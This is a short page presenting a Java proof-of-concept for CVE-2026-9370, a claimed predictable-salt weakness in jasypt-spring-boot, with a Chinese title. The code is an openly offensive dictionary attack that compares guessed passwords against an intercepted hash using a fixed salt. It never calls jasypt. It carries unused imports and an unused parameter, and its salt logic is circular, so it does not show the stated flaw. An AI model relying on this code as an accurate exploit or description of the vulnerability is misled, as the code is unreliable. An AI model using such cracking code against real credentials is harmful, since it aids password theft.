CVE-2026-9370 jasypt-spring-boot密码盐可预测漏洞

// CVE-2026-9370 PoC - Predictable Salt in jasypt-spring-boot // This PoC demonstrates the predictable salt vulnerability import javax.crypto.Mac; import javax.crypto.spec.SecretKeySpec; import java.security.MessageDigest; public class CVE20269370_PoC { // Simulating the vulnerable predictable salt generation public static byte[] getPredictableSalt(String password, byte[] knownSalt) { // This is a simplified demonstration // In real attack, attacker analyzes SimpleGCMConfig.getSecretKeySaltGenerator() try { // Predictable salt generation - vulnerability root cause MessageDigest md = MessageDigest.getInstance("SHA-256"); md.update(knownSalt); // Using known/fixed salt return md.digest(password.getBytes()); } catch (Exception e) { return null; } } public static void attackWithPredictableSalt(String targetPassword, byte[] interceptedHash) { // Since salt is predictable, attacker can precompute hashes String[] commonPasswords = {"password", "admin", "123456", "welcome"}; for (String pwd : commonPasswords) { byte[] salt = getPredictableSalt(pwd, new byte[]{1, 2, 3}); byte[] hash = computeHash(pwd, salt); if (MessageDigest.isEqual(hash, interceptedHash)) { System.out.println("[!] Password found: " + pwd); return; } } System.out.println("[-] Password not in dictionary"); } private static byte[] computeHash(String password, byte[] salt) { try { MessageDigest md = MessageDigest.getInstance("SHA-256"); md.update(salt); return md.digest(password.getBytes()); } catch (Exception e) { return null; } } }